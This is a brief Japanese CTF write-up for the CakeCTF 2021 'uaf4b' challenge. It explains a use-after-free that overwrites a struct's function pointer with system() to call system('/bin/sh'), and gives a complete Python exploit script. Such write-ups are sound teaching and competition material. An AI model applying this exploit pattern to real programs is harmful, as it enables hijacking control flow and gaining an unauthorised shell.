# [pwn] uaf4b - CakeCTF 2021 ###### tags: `CakeCTF 2021` 簡単of ther year 受賞 ```clike= typedef struct { void (*fn_dialogue)(char*); char *message; } COWSAY; ``` という構造体があり、 - `fn_dialogue`を呼ぶ - 1度だけcowsayのインスタンスをfreeする - `message` をnewして16バイトまで入力する のいずれかができる。use after freeがあって、cowsayをfreeしたあとにmessageを入れるとcowsayのインスタンスを上書きできるので、`fn_dialogue`を`system`に、`message`をなんかメッセージのインスタンスに向けることで`system("/bin/sh")`の呼び出しにできる ```python= from ptrlib import u64, p64, Socket sock = Socket("localhost", 9001) system_addr = int(sock.recvlineafter("<system> = "), 16) sock.sendlineafter("> ", "2") sock.sendlineafter("Message: ", "/bin/sh") sock.sendlineafter("> ", "4") sock.recvuntil("message\n") message_addr = int(sock.recvuntil("|")[:-2], 16) sock.sendlineafter("> ", "3") sock.sendlineafter("> ", "2") sock.sendlineafter("Message: ", p64(system_addr) + p64(message_addr)) sock.interactive() ```
×
Sign in
Email
Password
Forgot password
or
Sign in via Google
Sign in via Facebook
Sign in via X(Twitter)
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
Continue with a different method
New to HackMD?
Sign up
By signing in, you agree to our
terms of service
.